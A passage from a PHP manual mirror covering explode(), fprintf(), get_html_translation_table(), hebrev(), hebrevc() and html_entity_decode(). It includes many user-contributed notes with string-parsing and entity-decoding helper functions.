$file_ext = array_pop(explode(".",$real_filename));

array_pop will push the last element of the array in the assigned varable (ie $file_ext) in this case.
emilyd at boreal (.) org
24-Feb-2005 05:20
Also, it seems any array element (at least using explode) is limited to 255 characters.
woltersware at ish dot de
29-Jan-2005 03:05
This is a simple way to get the ending of a file using explode

$str_filename = "maisfsd.fdfwadasc.eswfwefwe.rdyxfdasd.asda.sd.asd.JPG";
$dotarray = explode(".",$str_filename);
$fileending = $dotarray[(count($dotarray)-1)];
echo $fileending;

Result: JPG
urbanheroes {at} gmail {dot} com
12-Jan-2005 07:08
The above function works well! Here's a slimmer version that works similarly:

<?php

function wordlimit($string, $length = 50, $ellipsis = "...")
{
   $words = explode(' ', $string);
   if (count($words) > $length)
       return implode(' ', array_slice($words, 0, $length)) . $ellipsis;
   else
       return $string;
}

?>
marcyboy45 at hotmail dot com
10-Jan-2005 09:04
I'm not going for the noble prize with this one, but it saves you having to writing something similar if the occasion ever presents itself! This is just a simple function to cut short a paragraph like what you'd see in the results of a web search. You can specify the number of words and the ellipsis which makes it quite flexible.

<?php
function wordlimit($string, $length = 50, $ellipsis = "...")
{
   $paragraph = explode(" ", $string);

   if($length < count($paragraph))
   {
       for($i = 0; $i < $length; $i++)
       {
           if($i < $length - 1)
               $output .= $paragraph[$i] . " ";
           else
               $output .= $paragraph[$i] . $ellipsis;
       }

       return $output;
   }

   return $string;
}
?>

An example would look like:

<?php

$string = "This is a very simple function, but nifty nonetheless.";

print wordlimit($string, 5); // This is a very simple...

?>
mswitzer - propagandabydesign - com
15-Dec-2004 10:57
Just a clarification on matzie's comment. You only need double quotes if you want PHP to parse what is enclosed in them. A character (i.e. -, |, /) can be in single quotes, but anything php needs to parse (\n,\r,$var) needs to be in double quotes.

The double quotes tell PHP to parse what is contained, single quotes tell PHP to spit it out as is without reacting to anything in it.

for instance:

<?php $var = 'Hello'; ?>

The ouput of <?php echo '$var'; ?> is $var.
The ouput of <?php echo "$var"; ?> is Hello.
djogo_curl at yahoo
01-Dec-2004 08:50
Being a beginner in php but not so in Perl, I was used to split() instead of explode(). But as split() works with regexps it turned out to be much slower than explode(), when working with single characters.
matzie at dontspamme dot bitdifferent dot com
23-Nov-2004 06:59
The separator parameter in double quotes not single ones.  Having got into the habit (for performance) of using double quotes only when I really want variable substitution etc, I was doing this (intending to split a string into lines)

<?PHP

$strFoo = "Hello
World
Goodbye
World";

$arrFoo = explode ('\n', $strFoo);

?>

and it wasn't working.  I changed the single quotes for double ones and it started working.

(Incidentally I then recombined the array back into a string implode()d with '\' (the Javascript line continuation character)  to give a multi-line string that could be document.write()'d with Javascript).
corychristison }at{ lavacube (DOT) com
21-Nov-2004 03:06
Here is a small script I use to break a part search queries[example: "do-search"-"dont-search" ]

+ or no 'switch' is to add to search tearms
- for do not include in search

<?php

function parse_search ($input) {
   $c = count_chars($input, 0);
   $c = ($c[34]/ 2);
  if(!strstr($c, ".") && $c != "0"){
   $input = explode("\"", $input);
   $include = array();
   $exclude = array();
   $switches = array("+", "-");
     for($i=0; $i < count($input); $i++){
       $inst = $input[$i];
       if($inst == "" && ($i == "0" || $i == (count($input) - 1)) ){ $inst = "+"; }
         if(in_array($inst, $switches)){
           $lswitch = $inst;
         }else{
           if($inst != ""){
           if($lswitch == "-"){
               $exclude[] = $inst;
           }elseif($lswitch == "+"){
               $include[] = $inst;
           }else{
               $include[] = $inst;
           }
           }
           unset($lswitch);
         }
     } // end loop
   $output = array("include" => $include, "exclude" => $exclude);
  }else{
   $output = array("include" => explode(" ", trim($input)));
  }
 return $output;
} // end function

?>

Sorry for my somewhat messy and hard to follow code.

An example of the code would be:

<?php

$search = '"isearch"-"this"'

$do_search = parse_search($search);

print_r($do_search);

?>

will output:

Array
(
   [include] => Array
       (
           [0] => isearch
       )

   [exclude] => Array
       (
           [0] => this
       )

)
fraknot[at]ulfix[dot]com
16-Nov-2004 04:44
A function that returns the number of pages, id's, etc from a given range (this works when you specify a "printing-style range" like "1-3,5,7-9,11")
<?php
function range_count($array)
{
   $first_split=explode(",",$array);
   $second_split=array();
   for($i=0;$i<count($first_split);$i++)
       $second_split[$i]=explode("-",$first_split[$i]);
   $num=array();
   $number=0;
   for($i=0;$i<count($second_split);$i++)
   {
       if(count($second_split[$i])==2)
           $num[$i]=abs($second_split[$i][1]-$second_split[$i][0])+1;
       elseif(count($second_split[$i])==1)
           $num[$i]=$num[$i]+1;
   }
   for($i=0;$i<count($num);$i++)
       $number=$number+$num[$i];
   return($number);
}

echo range_count("1-3,5,7-9,11"); //8
echo range_count("5000"); //1
echo range_count("2003,2004"); //2
?>
ely at DONTSENDGARBGABE dot nauta dot com dot mx
05-Nov-2004 09:05
I've found very useful the csv_explode function posted by ng4rrjanbiah at rediffmail dot com. THANKS!

But, [ there is always a but  d:o) ], it comes very handy to be able to skip the string delimiter with a backslash ("\"). Specially if you are using  addslashes and stripslashes to create the CSV line.

Here's my two cents:

<?php
   // Explode CSV string
   function csv_explode($str, $delim = ',', $qual = "\"")
   {
       $skipchars = array( $qual, "\\" );
       $len = strlen($str);
       $inside = false;
       $word = '';
       for ($i = 0; $i < $len; ++$i) {
           if ($str[$i]==$delim && !$inside) {
               $out[] = $word;
               $word = '';
           } else if ($inside && in_array($str[$i], $skipchars) && ($i<$len && $str[$i+1]==$qual)) {
               $word .= $qual;
               ++$i;
           } else if ($str[$i] == $qual) {
               $inside = !$inside;
           } else {
               $word .= $str[$i];
           }
       }
       $out[] = $word;
       return $out;
   }

// Test...
$csv_str = 'a,"b",c,"this \"should\" work","and ""also"" this"';
echo "test: <pre>".print_r( csv_explode($csv_str), true )."</pre>";
?>

The result would be;

test:
Array
(
   [0] => a
   [1] => b
   [2] => c
   [3] => this "should" work
   [4] => and "also" this
)
jtgalkowski at alum dot mit dot edu
20-Sep-2004 02:22
That explode returns FALSE when a null string is passed as the delimiting string can be unfortunate if all that wants doing is to explode a string into an array one "character" per array cell.  This can be done using chunk_split at the cost of devoting a character to be used as an interim delimiter.  Thus,

  function flatExplodeUsing( $safeCharacter, $aString ) {
   $a = explode( $safeCharacter, chunk_split( $aString, 1, $safeCharacter ) ) ;
   unset( $a[strlen($aString)] ) ;
   return( $a ) ;
  }

and

  var_dump( flatExplodeUsing( "\xff", 'abcdef' ) ) ;

yields

  array(6) { [0]=> string(1) "a" [1]=> string(1) "b" [2]=> string(1) "c" [3]=> string(1) "d"
             [4]=> string(1) "e" [5]=> string(1) "f" }
ian at illumen dot co dot uk
24-Aug-2004 04:30
If you split an empty string, you get back a one-element array with 0 as the key and an empty string for the value.

<?php

$str = '';

$foo = explode( ":", $str );
print_r( $foo );

$foo = split( ":", $str );
print_r( $foo );

$foo = preg_split( "/:/", $str );
print_r( $foo );

?>

In all three cases prints

Array
(
  [0] =>
)

This of course means that you must explicitly check to see if the value of the first element is blank, or must check to see if the string being split is blank.
aidan at php dot net
01-Jul-2004 09:45
If you're trying to parse CSV files, see fgetcsv()
hhabermann at pc-kiel dot de
09-Feb-2004 03:00
I needed a solution to implode and explode associative arrays. Now I use these two functions (there may be a better solution, but it works ;) ):

<?php
/**
 * @name implodeAssoc($glue,$arr)
 * @description makes a string from an assiciative array
 * @parameter glue: the string to glue the parts of the array with
 * @parameter arr: array to implode
 */
function implodeAssoc($glue,$arr)
{
   $keys=array_keys($arr);
   $values=array_values($arr);

   return(implode($glue,$keys).$glue.implode($glue,$values));
};

/**
 * @name explodeAssoc($glue,$arr)
 * @description makes an assiciative array from a string
 * @parameter glue: the string to glue the parts of the array with
 * @parameter arr: array to explode
 */
function explodeAssoc($glue,$str)
{
   $arr=explode($glue,$str);

   $size=count($arr);

   for ($i=0; $i < $size/2; $i++)
       $out[$arr[$i]]=$arr[$i+($size/2)];

   return($out);
};
?>
nanddam at zonnet dot nl
22-Dec-2003 06:07
Use explode to get the name(s) of the directorie(s) you're in
or make static links.

<?php
$script_name_array = explode("/", trim($_SERVER['SCRIPT_NAME']));
$ii = count($script_name_array)-1;
for($i=$ii;$i>0;$i--){
  print("$i  -- ".$script_name_array[$i]."<br>");
}
?>

nand . nl
siavash79_99 at yahoo dot com
20-Nov-2003 07:24
here is a tested case-insensitive explode I named it explodei().works cool :-)

<?php
function explodei($separator, $string, $limit = false )
{
   $len = strlen($separator);
   for ( $i = 0; ; $i++ )
   {
       if ( ($pos = stripos( $string, $separator )) === false || ($limit !== false && $i > $limit - 2 ) )
       {
           $result[$i] = $string;
           break;
       }
       $result[$i] = substr( $string, 0, $pos );
       $string = substr( $string, $pos + $len );
   }
   return $result;
}
?>

If your php version is under 5, you'll need to add stripos() to your script.

See http://php.net/function.stripos
coroa at cosmo-genics dot com
17-Nov-2003 12:01
To split a string containing multiple seperators between elements rather use preg_split than explode:

preg_split ("/\s+/", "Here  are    to    many  spaces in  between");

which gives you
array ("Here", "are", "to", "many", "spaces", "in", "between");
ng4rrjanbiah at rediffmail dot com
30-Oct-2003 11:03
The improved CSV Explode function of "hhromic at udec dot cl" again has one limitation with MS Excel.

His version returns "" for """". But the expected result is " for """"

And so, I have modified his code with additional inside check.

<?php
// Explode CSV (MS Excel) string
function csv_explode($str, $delim = ',', $qual = "\"")
{
   $len = strlen($str);
   $inside = false;
   $word = '';
   for ($i = 0; $i < $len; ++$i) {
       if ($str[$i]==$delim && !$inside) {
           $out[] = $word;
           $word = '';
       } else if ($inside && $str[$i]==$qual && ($i<$len && $str[$i+1]==$qual)) {
           $word .= $qual;
           ++$i;
       } else if ($str[$i] == $qual) {
           $inside = !$inside;
       } else {
           $word .= $str[$i];
       }
   }
   $out[] = $word;
   return $out;
}

// Test...
$csv_str = 'a,"""","""",d,e,f';
print_r( csv_explode($csv_str) );
?>

HTH,
R. Rajesh Jeba Anbiah
ralfoide at yahoo dat com
14-Jul-2003 06:02
Using 1 or less for the "limit" may not yield the result you expect. I'm using PHP 4.1.2

I had surprising results when using explode() or split() with a "limit" of 0 or 1: in this case the returned array contains one entry with the full "remaining" string.

Ex:
$a = explode("/", "a/b/c", 1); var_dump($a);
=> array(1) { [0]=>  string(5) "a/b/c" }

$a = explode("/", "a/b/c", 2); var_dump($a);
=> array(2) { [0]=>  string(1) "a" [1]=>  string(3) "b/c" }

Using limit=0 behaves as in limit=1 above.
It seems the implementation uses limit as the number of elements to return, including the "remaining string", whereas the doc seems to describe it as indicating the number of separators to process (i.e. the resulting array should contain limit+1 entries).
gnif at never_mind dot com
24-Jun-2003 04:01
This alters a parameter in a query string, if it doesn't exist adds it. May be useful to someone out there, it is a good example of the explode and implode functions. This code has been tested and proven working, there may allready be a function here that does this, I didn't have time to check all the posts.

<?php
function AlterQueryStr($querystr, $param, $value) {
  $vars = explode("&", $querystr);
  $set  = false;
  for ($i=0;$i<count($vars);$i++) {
   $v = explode('=',$vars[$i]);
   if ($v[0] == $param) {
     $v[1]    = $value;
     $vars[$i] = implode('=', $v);
     $set      = true;
     break;
   }
  }
  if (!$set) {$vars[] = $param . '=' . $value;}
  return ltrim(implode('&', $vars), '&');
}
?>

Examples and Results:

AlterQueryStr('page=index&print=1&color=red', 'print', '0');
'page=index&print=0&color=red'

AlterQueryStr('page=index&print=1', 'color', 'red');
'page=index&print=1&color=red'

AlterQueryStr('', 'foo', 'bar');
'foo=bar'

--
http://spacevs.com
stefan at NOSPAM dot elakpistol dot com
22-May-2003 12:00
This function handles HTML-tags as "words", so each tag will become a single element in the array that is returned.

<?php
function explode_tags($chr, $str) {
for ($i=0, $j=0; $i < strlen($str); $i++) {
if ($str{$i} == $chr) {
   while ($str{$i+1} == $chr)
   $i++;
   $j++;
   continue;
}
if ($str{$i} == "<") {
   if (strlen($res[$j]) > 0)
   $j++;
   $pos = strpos($str, ">", $i);
   $res[$j] .= substr($str, $i, $pos - $i+1);
   $i += ($pos - $i);
   $j++;
   continue;
}
if ((($str{$i} == "\n") || ($str{$i} == "\r")) && (strlen($res[$j]) == 0))
   continue;
$res[$j] .= $str{$i};
}
return $res;
}
?>
johnnycobol at yahoo dot com
21-Mar-2003 06:13
If you need to parse Java properties using PHP, here is an example I wrote:

<?php
//Takes a multi-line string as input.  Returns an array
//which can be accessed by property name.
function propertiesToArray($propertiesList)
{
  $properties = explode("\n", trim($propertiesList));

  $propArray = array();

  foreach ($properties as $nameValue)
  {
     list($propName, $propValue) = explode("=", $nameValue);
     $propArray[$propName] = $propValue;
  }

  return $propArray;
}

$testprop = "property1=value1\nproperty2=value2\n\rproperty3=\n"
   . "property4=value4";
$props = propertiesToArray($testprop);

foreach ($props as $key => $value)
{
   echo "$key => $value<br>\n";
}
?>
dan at boxuk dot com
14-Mar-2003 02:11
Here's a function I find useful from time to time.... When you're assigning the results of an explode() to a list(x,y,z) of values, you'll get an error/warning in PHP if your explode() didn't return the same number of arguments as your list... So you can use the following simple function to always return the correct number of elements in your array:

<?php
// explodeForce - like explode, but rather than just 'limit' the explosion to
// the number of values, it also ensures that this number of elements are
// present in the output array - v.useful for when assigning an explode
// to a list($a,$b,$c)
function explodeForce($sep, $array, $number_values, $pad = '')
{
   return array_pad(explode($sep, $array, $number_values), $number_values, $pad);
}
?>
tengel at fluid dot com
25-Feb-2003 08:02
Here's a little function similar to the above which will traverse a string, but pay attention to quotes inline. I.e., I needed to parse something like this into an array:

  one two "third thing" "fourth thing" five

It's pretty slow, but it works.

<?php
function opt_explode($echar, $str) {
   if (strlen($echar) != 1 || strlen($str) == 0) {
       return 0;
   }
   $str = trim($str);

   // input string index counter
   $idx=0;
   // output array element counter
   $arr=0;
   while($idx < strlen($str)) {
       if($str[$idx] == '"') {
           // quoted field
           $idx++;
           while ($idx < strlen($str)) {
               // look for ending quote
               if($str[$idx] == '"') {
                   $idx++;
                   $arr++;
                   break;
               }
               $newstrarr[$arr] = $newstrarr[$arr] . $str[$idx];
               $idx++;
           }
       } elseif ($str[$idx] == $echar) {
           // normal delimiter, advance element
           $arr++;
       } else {
           // must be normal char, tack onto current element
           $newstrarr[$arr] = $newstrarr[$arr] . $str[$idx];
       }
       $idx++;
   }

   return $newstrarr;
}
?>
jasenko at get2net dot dk
19-Feb-2003 10:42
This is example of converting strings to proper case (as we know it from VB). It shows use of PHP string functions explode(), substr() and trim() along with case converting functions.

It's quite simple !

<?php
function properCase($strIn)
{
   $arrTmp = explode(" ", trim($strIn));

   for($i=0; $i < count($arrTmp);$i++)
   {
         $firstLetter = substr($arrTmp[$i],0,1);
         $rest = substr($arrTmp[$i],1,strlen($arrTmp[$i]));

         $arrOut[$i] = strtoupper($firstLetter).strtolower($rest);
     }

   for($j=0; $j < count($arrOut); $j++)
         $retVal .= $arrOut[$j]." ";

   return trim($retVal);

}
?>

Hope this can be usefull to someone (I know it was to me ...).
lennartg at web dot de
14-Feb-2003 11:52
Use this function to assign keys to the result array instead of numbered entries.

The $keys array must be a numeric array and must have same size entries in the $string.

<?php
function explodeKeys($separator, $string, $keys) {
   $res = explode($separator, $string);
   if (@is_array($res) && @is_array($keys)) {
       $size = sizeof($res);
       if ($size == sizeof($keys)) {
           for ($i=0; $i < $size; $i++) {
               $res[$keys[$i]] = $res[$i];
               unset($res[$i]);
           }
           return $res;
       }
   }
   return false;
}
?>
davidrickard at hotmail dot com
26-Oct-2002 01:32
[Ed. Note: Windows browsers insert \r\n, but other platforms have their own line endings. Most UNIX-like systems will use \n. Try <?php str_replace("\r", null, $string); ?> and then explode()ing.]

If you want to get some form data entered in the form

Item1
Item2
Item3

At the other end you need to use

explode("\r\n",$_POST['fieldname'])

rather than just \n .
jeremy at fishbowlrecords dot com
23-Oct-2002 02:58
While explode() and implode() are helpful functions, I found I needed to write additional functions to correctly handle two dimensional arrays. Here are the two functions:

These functions based on code from <peter at int8 dot com>.

<?php
// just as double_explode functions akin to explode, so too does
//  double_implode to implode
function double_implode($first_break, $second_break, $array)
{
   $string = "";
   $k=0;
   $num_length = count($array);

   foreach ($array as $key => $value)
   {
       // if the element of the main array is an array
       if (is_array($array[$key]))
           {
           // append the string of the converted arary to
           // the string being constructed of the whole
           // main array
           $string .= implode($second_break, $array[$key]);
           }
       else
       {
           // append the element to the string
           $string .= $array[$key];
       }

       $k++;

//change here!
       // append the delimiting character to the string
       if ($k<$num_length)
           $string .= $first_break;
       }

   return $string;
}

// this is a replacement for the internal explode function so that
//  strings representing 2D arrays (ie matrices) maybe made again
//  into their array format
function double_explode($first_break,$second_break,$string)
{
   // creates array based on the first division character
   $array = explode($first_break, $string);

   // loops through the created array in search of any strings
   //  that need to be converted to arrays
   for ($k=0; $k < count($array); $k++)
   {
       // the number of times the second division character
       //  is present
       $count = substr_count($array[$k], $second_break);
       // if the second division character is present; ie,
       //  if the string needs to be converted to an array
       if ($count>0)
       {
           // creates array from string and puts it in
           //  the main array where the string was
           $array[$k] = explode($second_break, $array[$k]);
       }
   }

   return $array;
}
?>

Notice the "if ($k<$num_length)" check near the bottom.  What I found is that without that, any string created would have an extra character at the end, and when exploded would have an extra (empty) array cell at the end.  So, now I can do something like

if ($arraybeforeimplode==$arrayafterexplode)

and they will be equal, whereas before they would test as not being equal. I hope that made sense. Thanks!
add a note add a note

后退 | 起点 | 前进
echo | 上一级 | fprintf


fprintf

(PHP 5)

fprintf -- Write a formatted string to a stream

Description

int fprintf ( resource handle, string format [, mixed args [, mixed ...]] )

Write a string produced according to format to the stream resource specified by handle. format is described in the documentation for sprintf().

Returns the length of the outputted string.

See also: printf(),
sprintf(),
sscanf(), fscanf(),
vsprintf(), and
number_format().

Examples

例子 1. fprintf(): zero-padded integers

<?php
if (!($fp = fopen('date.txt', 'w')))
    return;

fprintf($fp, "%04d-%02d-%02d", $year, $month, $day);
// will write the formatted ISO date to date.txt
?>

例子 2. fprintf(): formatting currency

<?php
if (!($fp = fopen('currency.txt', 'w')))
    return;

$money1 = 68.75;
$money2 = 54.35;
$money = $money1 + $money2;
// echo $money will output "123.1";
$len = fprintf($fp, '%01.2f', $money);
// will write "123.10" to currency.txt

echo "wrote $len bytes to currency.txt";
// use the return value of fprintf to determine how many bytes we wrote
?>

add a note add a note User Contributed Notes
aidan at php dot net
31-May-2004 01:35
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
explode | 上一级 | get_html_translation_table


get_html_translation_table

(PHP 4, PHP 5)

get_html_translation_table -- Returns the translation table used by htmlspecialchars() and htmlentities()

Description

array get_html_translation_table ( [int table [, int quote_style]] )

get_html_translation_table() will return the translation table that is used internally for htmlspecialchars() and htmlentities().

There are two new constants (HTML_ENTITIES, HTML_SPECIALCHARS) that allow you to specify the table you want. Default value for table is HTML_SPECIALCHARS. And as in the htmlspecialchars() and htmlentities() functions you can optionally specify the quote_style you are working with. The default is ENT_COMPAT mode. See the description of these modes in htmlspecialchars().

注: Special characters can be encoded in several ways. E.g. " can be encoded as &quot;, &#34; or &#x22. get_html_translation_table() returns only the most common form for them.

例子 1. Translation Table Example

<?php
$trans = get_html_translation_table(HTML_ENTITIES);
$str = "Hallo & <Frau> & Krmer";
$encoded = strtr($str, $trans);
?>
The $encoded variable will now contain: "Hallo &amp; &lt;Frau&gt; &amp; Kr&auml;mer".

See also htmlspecialchars(),
htmlentities(), and
html_entity_decode().

add a note add a note User Contributed Notes
Patrick nospam at nospam mesopia dot com
30-May-2005 10:00
Not sure what's going on here but I've run into a problem that others might face as well...

<?php

$translations = array_flip(get_html_translation_table(HTML_ENTITIES,ENT_QUOTES));

?>

returns the single quote ' as being equal to &#39; while

<?php

$translatedString = htmlentities($string,ENT_QUOTES);

?>
returns it as being equal to &#039;

I've had to do a specific string replacement for the time being... Not sure if it's an issue with the function or the array manipulation.

-Pat
Alex Minkoff
19-May-2005 07:30
If you want to display special HTML entities in a web browser, you can use the following code:

<?
$entities = get_html_translation_table(HTML_ENTITIES);
foreach ($entities as $entity) {
   $new_entities[$entity] = htmlspecialchars($entity);
}
echo "<pre>";
print_r($new_entities);
echo "</pre>";
?>

If you don't, the key name of each element will appear to be the same as the element content itself, making it look mighty stupid. ;)
ryan at ryancannon dot com
27-Jan-2005 06:05
In XML, you can't assume that the doctype will include the same character entity definitions as HTML. XML authors may require character references instead. The following two functions use get_html_translation_table() to encode data in numeric references. The second, optional argument can be used to substitute a different translation table.

function xmlcharacters($string, $trans='') {
   $trans=(is_array($trans))? $trans:get_html_translation_table(HTML_ENTITIES, ENT_QUOTES);
   foreach ($trans as $k=>$v)
       $trans[$k]= "&#".ord($k).";";
   return strtr($string, $trans);
}
function xml_character_decode($string, $trans='') {
   $trans=(is_array($trans))? $trans:get_html_translation_table(HTML_ENTITIES, ENT_QUOTES);
   foreach ($trans as $k=>$v)
       $trans[$k]= "&#".ord($k).";";
   $trans=array_flip($trans);
   return strtr($string, $trans);
}
kevin_bro at hostedstuff dot com
03-Jan-2003 10:06
Alans version didn't seem to work right. If you're having the same problem consider using this slightly modified version instead:

function unhtmlentities ($string)  {
   $trans_tbl = get_html_translation_table (HTML_ENTITIES);
   $trans_tbl = array_flip ($trans_tbl);
   $ret = strtr ($string, $trans_tbl);
   return preg_replace('/&#(\d+);/me',
     "chr('\\1')",$ret);
}
alan at akbkhome dot com
04-Jun-2002 01:00
If you want to decode all those &#123; symbols as well....

function unhtmlentities ($string)  {
   $trans_tbl = get_html_translation_table (HTML_ENTITIES);
   $trans_tbl = array_flip ($trans_tbl);
   $ret = strtr ($string, $trans_tbl);
   return  preg_replace('/\&\#([0-9]+)\;/me',
       "chr('\\1')",$ret);
}
programmer at bardware dot de
03-Aug-2001 08:28
It doesn't work if text is CP850 encoded. I obtain text CP850 encoded from a database since it was imported in the DB from a CSV file that was created in DOS text format.
dirk at hartmann dot net
20-Jun-2001 04:41
get_html_translation_table
It works only with the first 256 Codepositions.
For Higher Positions, for Example &#1092;
(a kyrillic Letter) it shows the same.
jon+php-dev at unequivocal dot co dot uk
10-Sep-2000 10:38
Caution: This function is implemented separately from htmlentities() and htmlspecialchars() in the PHP source, and hence is quite likely to diverge from these functions.

In particular, in 4.0.2 htmlspecialchars() escapes the single quote character, whereas the translation table returned by this function does not.
add a note add a note

后退 | 起点 | 前进
fprintf | 上一级 | hebrev


hebrev

(PHP 3, PHP 4, PHP 5)

hebrev -- Convert logical Hebrew text to visual text

Description

string hebrev ( string hebrew_text [, int max_chars_per_line] )

The optional parameter max_chars_per_line indicates maximum number of characters per line that will be returned. The function tries to avoid breaking words.

See also hebrevc()

add a note add a note User Contributed Notes
tinko
14-Dec-2004 07:46
From my experience in using hebrev text in HTML, I prefer using

<html dir="rtl" lang="he">

over mentioned PHP functions. It works perfectly with IE 6 ... needs some tweaking in Mozilla though.

I found this site http://tlt.its.psu.edu/suggestions/international/web/tips/align.html useful.
socket at linuxloony dot net
03-Apr-2004 10:17
The hebrev function changes the string order to RTL.
Use fribidi_log2vis insted if you need LTR text direction
$text = fribidi_log2vis($text,FRIBIDI_LTR, FRIBIDI_CHARSET_CP1255)
php2eran at tromer dot org
02-Jun-2001 07:35
As of PHP 4.05 there's a problem in the handling of the characters '{}[]<>' compared to MSIE. Note that normal parenthesis '()' are OK.

For further information see http://www.php.net/bugs.php?id=11244 .
zak at php dot net
09-Jan-2001 07:39
hebrev() changes the flow of any Hebrew characters in a string from right-to-left to left-to-right.

It only affects characters within the range of ASCII 224-251 (except for punctuation).
add a note add a note

后退 | 起点 | 前进
get_html_translation_table | 上一级 | hebrevc


hebrevc

(PHP 3, PHP 4, PHP 5)

hebrevc -- Convert logical Hebrew text to visual text with newline conversion

Description

string hebrevc ( string hebrew_text [, int max_chars_per_line] )

This function is similar to hebrev() with the difference that it converts newlines (\n) to "<br>\n". The optional parameter max_chars_per_line indicates maximum number of characters per line that will be returned. The function tries to avoid breaking words.

See also hebrev()

add a note add a note User Contributed Notes
yfurman at yahoo dot com
11-Dec-2001 08:41
Beware of English use!
I was working on a little project, and used hebrevc to reverse Hebrew in a loop. The hebrevc function got a variable as an argument. Sometimes the variable was pure English and sometimes it was hebrew.
Suddenly I found out that the English too was cut with BR tags, which made it look funny - the last line was the first.

If you're going to use that function in mixed text, don't forget to check the language before using the function.

Yael
add a note add a note

后退 | 起点 | 前进
hebrev | 上一级 | html_entity_decode


html_entity_decode

(PHP 4 >= 4.3.0, PHP 5)

html_entity_decode -- Convert all HTML entities to their applicable characters

Description

string html_entity_decode ( string string [, int quote_style [, string charset]] )

html_entity_decode() is the opposite of htmlentities() in that it converts all HTML entities to their applicable characters from string.

The optional second quote_style parameter lets you define what will be done with 'single' and "double" quotes. It takes on one of three constants with the default being ENT_COMPAT:

表格 1. Available quote_style constants

Constant Name | Description
ENT_COMPAT | Will convert double-quotes and leave single-quotes alone.
ENT_QUOTES | Will convert both double and single quotes.
ENT_NOQUOTES | Will leave both double and single quotes unconverted.

The ISO-8859-1 character set is used as default for the optional third charset. This defines the character set used in conversion.

PHP 4.3.0 及其后续版本支持如下字符集。

表格 2. 已支持字符集

字符集 | 别名 | 描述
ISO-8859-1 | ISO8859-1 | 西欧，Latin-1
ISO-8859-15 | ISO8859-15 | 西欧，Latin-9。增加了 Latin-1（ISO-8859-1）中缺少的欧元符号、法国及芬兰字母。
UTF-8 |  | ASCII 兼容多字节 8-bit Unicode。
cp866 | ibm866, 866 | DOS-特有的 Cyrillic 字母字符集。PHP 4.3.2 开始支持该字符集。
cp1251 | Windows-1251, win-1251, 1251 | Windows-特有的 Cyrillic 字母字符集。PHP 4.3.2 开始支持该字符集。
cp1252 | Windows-1252, 1252 | Windows 对于西欧特有的字符集。
KOI8-R | koi8-ru, koi8r | 俄文。PHP 4.3.2 开始支持该字符集。
BIG5 | 950 | 繁体中文，主要用于中国台湾。
GB2312 | 936 | 简体中文，国际标准字符集。
BIG5-HKSCS |  | 繁体中文，Big5 的延伸，主要用于香港。
Shift_JIS | SJIS, 932 | 日文。
EUC-JP | EUCJP | 日文。

注: ISO-8859-1 将代替任何其它无法识别的字符集。

注: This function doesn't support multi-byte character sets in PHP < 5.

例子 1. Decoding HTML entities

<?php
$orig = "I'll \"walk\" the <b>dog</b> now";

$a = htmlentities($orig);

$b = html_entity_decode($a);

echo $a; // I'll &quot;walk&quot; the &lt;b&gt;dog&lt;/b&gt; now

echo $b; // I'll "walk" the <b>dog</b> now

// For users prior to PHP 4.3.0 you may do this:
function unhtmlentities($string)
{
    // replace numeric entities
    $string = preg_replace('~&#x([0-9a-f]+);~ei', 'chr(hexdec("\\1"))', $string);
    $string = preg_replace('~&#([0-9]+);~e', 'chr(\\1)', $string);
    // replace literal entities
    $trans_tbl = get_html_translation_table(HTML_ENTITIES);
    $trans_tbl = array_flip($trans_tbl);
    return strtr($string, $trans_tbl);
}

$c = unhtmlentities($a);

echo $c; // I'll "walk" the <b>dog</b> now

?>

注: You might wonder why trim(html_entity_decode('&nbsp;')); doesn't reduce the string to an empty string, that's because the '&nbsp;' entity is not ASCII code 32 (which is stripped by trim()) but ASCII code 160 (0xa0) in the default ISO 8859-1 characterset.

See also htmlentities(),
htmlspecialchars(),
get_html_translation_table(),
and urldecode().

add a note add a note User Contributed Notes
nycolhas at hotmail dot com
06-Apr-2006 02:24
This function might be useful for people who want to capitalize a string using html entities.

<?php
function htmlstrtoupper(&$string) {
   return htmlentities(strtoupper(html_entity_decode(&$string)));
}
?>
buraks78 at gmail dot com
08-Feb-2006 07:19
The "unhtmlentities" function defined above fails to decode single quotes properly. The issue can be solved by putting double quotes around replacing chr(\\1) with chr("\\1")...

function unhtmlentities($string)
{
   // replace numeric entities
   $string = preg_replace('~&#x([0-9a-f]+);~ei', 'chr(hexdec("\\1"))', $string);
   $string = preg_replace('~&#([0-9]+);~e', 'chr("\\1")', $string);
   // replace literal entities
   $trans_tbl = get_html_translation_table(HTML_ENTITIES);
   $trans_tbl = array_flip($trans_tbl);
   return strtr($string, $trans_tbl);
}
hurricane at cyberworldz dot org
23-Dec-2005 12:33
I shortened the function repace_num_entity a bit to make more understandable and clean. Maybe now someone sees the problem it possibly has... (as mentioned below)

<?php
function replace_num_entity($ord) {
   $ord = $ord[1];
   if (preg_match('/^x([0-9a-f]+)$/i', $ord, $match)) $ord = hexdec($match[1]);
       else $ord = intval($ord);
   $no_bytes = 0;
   $byte = array();
   if ($ord < 128) return chr($ord);
   if ($ord < 2048) $no_bytes = 2;
       else if ($ord < 65536) $no_bytes = 3;
       else if ($ord < 1114112) $no_bytes = 4;
       else return;
   switch($no_bytes) {
       case 2: $prefix = array(31, 192); break;
       case 3: $prefix = array(15, 224); break;
       case 4: $prefix = array(7, 240);
   }
   for ($i=0; $i < $no_bytes; ++$i)
       $byte[$no_bytes-$i-1] = (($ord & (63 * pow(2,6*$i))) / pow(2,6*$i)) & 63 | 128;
   $byte[0] = ($byte[0] & $prefix[0]) | $prefix[1];
   $ret = '';
   for ($i=0; $i < $no_bytes; ++$i) $ret .= chr($byte[$i]);
   return $ret;
}
?>
loufoque
09-Oct-2005 04:15
If you want to decode NCRs to utf-8 use this function instead of chr().

function utf8_chr($code)
{
   if($code<128) return chr($code);
   else if($code<2048) return chr(($code>>6)+192).chr(($code&63)+128);
   else if($code<65536) return chr(($code>>12)+224).chr((($code>>6)&63)+128).chr(($code&63)+128);
   else if($code<2097152) return chr($code>>18+240).chr((($code>>12)&63)+128)
                                 .chr(($code>>6)&63+128).chr($code&63+128));
}
emilianomartinezluque at yahoo dot com
26-Sep-2005 08:22
I've been using the great replace_num_entity function posted below. But there seems to be some problems with the 128 to 160 characters range. Ie, try:

<?php header("Content-type: text/html; charset=utf-8"); ?>
<html><body>
<?php
for($x=128; $x<161; $x++) {
     echo('&#' . $x . '; -- ' . preg_replace_callback('/&#([0-9a-fx]+);/mi', 'replace_num_entity', '&#' . $x . ';') . '</br>');
}
?>
